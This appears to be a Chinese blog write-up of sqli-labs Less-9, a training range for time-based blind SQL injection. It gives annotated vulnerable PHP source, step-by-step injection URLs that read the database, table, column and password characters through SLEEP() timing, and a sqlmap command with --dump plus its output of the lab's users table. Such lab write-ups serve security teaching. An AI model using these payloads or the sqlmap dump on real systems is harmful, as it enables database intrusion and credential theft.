当前位置: 首页 > news >正文

sqli-labs通关笔记-第09关 GET时间盲注(单引号闭合 手工注入+脚本注入两种方法)

目录

一、字符型注入

二、时间盲注

三、limit函数

四、源码分析

1、代码审计

2、SQL注入安全分析

五、渗透实战

1、进入靶场

2、注入点分析

(1)SQL语句分析

(2)查询id=1

(3)时间注入试探

3、手动注入

(1)获取数据库名

(2)获取表名

(3)获取列名

(4)获取数据

4、sqlmap渗透实战


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节通过手工注入和脚本注入共两种方法对第09关Less 09基于单引号闭合的时间盲注SQL注入关卡进行渗透实战。  

一、字符型注入

字符型注入是 SQL 注入的一种类型,攻击者通过在输入字段中插入恶意 SQL 代码来改变原 SQL 语句的逻辑。字符型注入通常发生在SQL 语句使用单引号或者双引号等包裹字符串参数的场景中。攻击者通过闭合单引号或者双引号等符号并注入额外的 SQL 代码,破坏原有语句结构。

二、时间盲注

布尔盲注通过构造条件语句(如AND 1=1AND 1=2),根据页面返回的布尔结果(如页面正常 / 异常、显示内容变化)判断注入是否成功。它依赖页面的二元状态回显,适用于能通过条件判断数据存在性的场景,但需逐位猜测数据(如通过 ASCII 码逐个字符验证)。

时间盲注则不依赖页面的直接回显,而是通过构造延时语句(如IF(条件, SLEEP(N), 0)),根据服务器响应时间是否延迟来判断条件是否成立。例如,若条件为真则执行sleep(5),使页面加载延迟 5 秒,否则立即返回。这种方法适用于页面无明确状态变化的场景,但效率更低,需通过时间差异间接推断数据,且易受网络延迟等因素干扰。。

布尔盲注与时间盲注的区别如下表所示。

对比项布尔盲注时间盲注
判断依据页面回显的布尔状态(如是否显示数据)服务器响应时间的延迟(是否超时)
依赖条件页面存在二元状态回显(如正常 / 错误)服务器支持延时函数(如SLEEP()
效率中等(逐位验证,无延迟等待)低(需等待延迟时间,单次请求耗时久)
典型 Payload' AND (SELECT COUNT(*) FROM users) > 0 --' AND IF((SELECT user()) LIKE 'admin%', SLEEP(5), 0) --
适用场景页面有明确条件结果回显(如登录提示)页面无状态变化,仅能通过时间判断

三、limit函数

Limit是 SQL 中用于限制查询结果数量的子句,不是真正的函数。Limit通常有两种常见形式,具体如下所示。

  • 单参数形式LIMIT n

    • 返回前 n 条记录

    • 示例:LIMIT 5 返回前5条结果

  • 双参数形式LIMIT offset, count

    • offset:跳过的记录数(从0开始)

    • count:要返回的记录数

    • 示例:LIMIT 10, 5 跳过前10条,返回接下来的5条

举例:SQL语句“SELECT * FROM users WHERE id='$id' LIMIT 0,1”中的LIMIT 0,1"表示获取第一条匹配的记录",LIMIT0,1的具体含义如下所示,

  • 从第0条记录开始(即不跳过任何记录)

  • 只返回1条记录

四、源码分析

1、代码审计

本关卡Less09是基于时间盲注的SQL注入关卡,打开对应的源码index.php,如下所示。

Less09关卡的源码功能是简单基于id的查询页面。相对于第五关,区别主要是查询成功和失败时页面都显示相同的信息,具体对比如下所示。

本关卡源码是一个基于时间盲注的SQL注入演示页面,通过单引号包裹用户输入,利用查询成功和失败时均无响应的特性,通过sleep函数是否执行实现数据推断,详细注释后的源码如下所示。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-9 Blind-Time based-Single Quotes-String</title> <!-- 基于时间的盲注-单引号-字符串 -->
</head><body bgcolor="#000000"> <!-- 黑色背景 -->
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">
Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00"> <!-- 黄色文字显示区 --><?php
// 包含MySQL连接配置文件
include("../sql-connections/sqli-connect.php");
// 关闭PHP错误报告
error_reporting(0);if(isset($_GET['id'])) {$id = $_GET['id']; // 直接获取用户输入// 记录用户输入到日志文件$fp = fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// 构造SQL查询 - 单引号直接拼接$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // 执行查询$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row) { // 查询成功echo '<font size="5" color="#FFFF00">';    echo 'You are in...........'; // 固定响应echo "<br>";echo "</font>";} else { // 查询失败echo '<font size="5" color="#FFFF00">';echo 'You are in...........'; // 关键点:失败时也显示相同内容echo "</br></font>";    echo '<font color= "#0000ff" font size= 3>';    }
} else { // 无id参数时echo "Please input the ID as parameter with numeric value"; 
}
?>
</font> </div><br><br><br>
<center>
<img src="../images/Less-9.jpg" /></center> <!-- 页面底部图片 -->
</body>
</html>

这是一个存在SQL注入安全风险的用户查询系统,主要功能是:

  • 接收URL中的id参数(GET方式)。

  • 记录所有查询尝试到日志文件(result.txt)。

  • 使用单引号直接包裹用户输入构造SQL查询。

  • 关键特性(查询成功和失败显示相同)

    • 查询成功时显示"You are in..........."提示。

    • 查询失败时显示"You are in..........."提示,数据库报错无显示。

    • 无参数时显示“输入数字ID值”的提示。

2、SQL注入安全分析

这个代码存在严重的SQL时间型盲注安全问题,原因如下:

  • 未过滤的用户输入:直接将$_GET['id']拼接到SQL语句中,没有任何过滤或转义处理。

  • 非常规参数字符串拼接方式:SQL查询使用单引号包裹用户输入id='$id',攻击者可以闭合单引号注入恶意代码。

  • 时间盲注条件

    • 成功查询:显示"You are in..........."。

    • 失败查询:显示"You are in..........."。

    • 这种差异不可以使用布尔盲注的方法,只能通过时间延迟判断条件真假。

五、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://127.0.0.1/sqli-labs/

其中第9关在基础注入关卡“SQLi-LABS Page-1(Basic Challenges)”中, 点击进入如下页面。

http://127.0.0.1/sqli-labs/#fm_imagemap

点击上图红框的Less9关卡,进入到靶场的第09关卡时间盲注关卡,页面提示“Please input the ID as parameter with numeric value”,具体如下所示。

http://127.0.0.1/sqli-labs/Less-9/

2、注入点分析

(1)SQL语句分析

根据源码分析可知,本关卡基于GET方法传入参数id,并未对id进行任何过滤,故而注入点位id。SQL语句的含义是根据用户提供的ID值(字符型)从users表中查询并返回匹配的用户记录的所有字段信息,且仅返回第一条匹配结果,具体代码如下所示。

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

根据id='$id'可知闭合方式为单引号,故而SQL注入为字符型注入。

(2)查询id=1

根据上一步我们分析注入点为id,我们首先使用id=1进行探测,查询成功显示“You are in...........”,完整URL如下所示。

http://127.0.0.1/sqli-labs/Less-9/?id=1

(3)时间注入试探

尝试万能注入语句' and if(length(database())>1,sleep(10),1)-- ,其中空格的URL编码为加号,如下为完整URL。

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())>1,sleep(10),1)--+

此时页面显示“You are in...........”,说明查询成功,查询到所有的内容,但是通过源码分析我们知道无论查询成功还是失败,都只是打印“You are in...........”,页面显示与源码分析结果一致,故而使用sleep来判断数据库长度是否大于1,如下所示执行时间超过10秒,说明sleep(10)成功执行,说明存在时间盲注安全问题。 

3、手动注入

(1)获取数据库名

获取数据库的长度,如下所示数据库长度为8。

http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(LENGTH(DATABASE()) = 8, SLEEP(2), 1)--+

获取数据库名,如下所示数据库名为“security”。

http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING(DATABASE(), 1, 1) = 's', SLEEP(2), 1)--+
http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING(DATABASE(), 2, 1) = 'e', SLEEP(2), 1)--+
http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING(DATABASE(), 3, 1) = 'c', SLEEP(2), 1)--+
http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING(DATABASE(), 4, 1) = 'u', SLEEP(2), 1)--+
http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING(DATABASE(), 5, 1) = 'r', SLEEP(2), 1)--+
http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING(DATABASE(), 6, 1) = 'i', SLEEP(2), 1)--+
http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING(DATABASE(), 7, 1) = 't', SLEEP(2), 1)--+
http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING(DATABASE(), 8, 1) = 'y', SLEEP(2), 1)--+

(2)获取表名

首先获取表的数量,如下所示security数据库共有4个表。

http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF((SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security') = 4, SLEEP(2), 1)--+

接下来尝试获取第一个表格的数据长度,如下所示第一个表格长度为6。

http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(LENGTH((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security' LIMIT 0,1)) = 6, SLEEP(2), 1)--+

 接下来获取表1的名称,如下所示第一个表名为emails,以此类推可以获取其他3个表格的名称,分别为,referers,uagents,users。

http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security' LIMIT 0,1), 1, 1) = 'e', SLEEP(2), 1)--+
http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security' LIMIT 0,1), 2, 1) = 'm', SLEEP(2), 1)--+
http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security' LIMIT 0,1), 3, 1) = 'a', SLEEP(2), 1)--+
http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security' LIMIT 0,1), 4, 1) = 'i', SLEEP(2), 1)--+
http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security' LIMIT 0,1), 5, 1) = 'l', SLEEP(2), 1)--+
http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security' LIMIT 0,1), 6, 1) = 's', SLEEP(2), 1)--+

(3)获取列名

首先获取users表中列的数量,如下所示列数为3。

http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF((SELECT COUNT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users') = 3, SLEEP(2), 1)--+

接下来尝试获取第1个列的数据长度,如下所示第一个表格长度为2。

http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(LENGTH((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users' LIMIT 0,1)) = 2, SLEEP(2), 1)--+

 接下来获取列1的名称,如下所示第一个列名为id,以此类推可以获取其他2个列名称,分别为username,password。

http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users' LIMIT 0,1), 1, 1) = 'i', SLEEP(2), 1)--+
http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users' LIMIT 0,1), 2, 1) = 'd', SLEEP(2), 1)--+

(4)获取数据

提取第1行username内容的长度,如下所示长度为4。

http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(LENGTH((SELECT password FROM users LIMIT 0,1)) = 4, SLEEP(2), 1)--+

接下来获取username对应内容,如下所示为Dumb,同理可以获取到第1行Password对应的内容,同样为Dumb,渗透成功。

http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING((SELECT password FROM users LIMIT 0,1), 1, 1) = 'd', SLEEP(2), 1)--+
http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING((SELECT password FROM users LIMIT 0,1), 2, 1) = 'u', SLEEP(2), 1)--+
http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING((SELECT password FROM users LIMIT 0,1), 3, 1) = 'm', SLEEP(2), 1)--+
http://192.168.59.1/sqli-labs/Less-9/?id=1' AND IF(SUBSTRING((SELECT password FROM users LIMIT 0,1), 4, 1) = 'b', SLEEP(2), 1)--+

4、sqlmap渗透实战

我们使用sqlmap来进行渗透,完整注入命令如下所示。

sqlmap -u "http://192.168.59.1/sqli-labs/Less-9/?id=1'*" --current-db --dump --batch --tech T

其中*号在sqlmap中是一个非常重要的标记符号,主要用于指定注入点位置。由于本关卡中闭合方式为单引号【即'】,且已知注入点为id,故而使用【id=1'*】标识注入点和闭合方式,具体参数意义如下所示。

参数含义
-u "http://192.168.59.1/sqli-labs/Less-9/?id=1'*"指定目标URL,*表示注入点位置
--current-db获取当前数据库名称
--dump导出所有数据库表数据
--batch自动选择默认选项,无需人工交互
--tech T指定使用时间盲注技术(Boolean-timed blind)

如下所示sqlmap渗透成功,可以通过时间盲注方法渗透成功,具体信息如下所示。

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 43 HTTP(s) requests:
---
Parameter: #1* (URI)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: http://192.168.59.1:80/sqli-labs/Less-9/?id=1' AND (SELECT 4066 FROM (SELECT(SLEEP(5)))Gjuc)-- RRTE
---
[08:06:39] [INFO] the back-end DBMS is MySQL
[08:06:39] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[08:06:39] [INFO] fetching current database
[08:06:39] [INFO] retrieved: 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[08:06:53] [INFO] adjusting time delay to 1 second due to good response times
security
current database: 'security'Table: users
[13 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
| 9  | admin1     | admin1   |
| 10 | admin2     | admin2   |
| 11 | admin3     | admin3   |
| 12 | dumbo      | dhakkan  |
| 14 | admin4     | admin4   |
+----+------------+----------+
http://www.xdnf.cn/news/1154521.html

相关文章:

  • Docker Desktop 入门教程(Windows macOS)
  • Elasticsearch 简化指南:GCP Google Compute Engine
  • 相似度计算
  • COGNEX康耐视IS5403-01智能相机加Navitar 18R00 LR1010WM52镜头
  • IP协议介绍
  • GPT-4o mini TTS:领先的文本转语音技术
  • VTM 是“H.266/VVC 标准的官方参考软件”视频分析,入门教程,它存在的唯一目的就是“让学术界和工业界在同一把尺子上做实验
  • Docker 在 Ubuntu 系统中的详细操作指南
  • 事务的传播行为,分别在spring和mysql中讲解
  • CentOS 服务器docker pull 拉取失败
  • 相机模型和对极几何
  • MySQL(147)如何进行跨平台迁移?
  • 【LeetCode 热题 100】124. 二叉树中的最大路径和——DFS
  • 后台管理系统登录模块(双token的实现思路)
  • [Python] -项目实战4- 利用Python进行Excel批量处理
  • 将EXCEL或者CSV转换为键值对形式的Markdown文件
  • 【Settlement】P1:整理GH中的矩形GRID角点到EXCEL中
  • 大语言模型调用方式与函数调用
  • 【并集查找 二分图】P6185 [NOI Online #1 提高组] 序列|省选-
  • 【已解决】GitHub SSH 连接失败解决方案:Permission Denied (publickey) 错误修复指南
  • HarmonyOS 网络请求优化实战指南:从0到1写出流畅不卡顿的应用!
  • EXPLAIN:你的SQL性能优化透视镜
  • C/C++数据结构之单向链表
  • 7-大语言模型—指令理解:指令微调训练+模型微调
  • FFmpeg 图片处理
  • 第三章-提示词-中级:进阶技巧与实践指南(12/36)
  • Spring Boot中REST与gRPC并存架构设计与性能优化实践指南
  • 测试学习之——Pytest Day4
  • Cosmos:构建下一代互联网的“区块链互联网
  • 黑马教程Webday6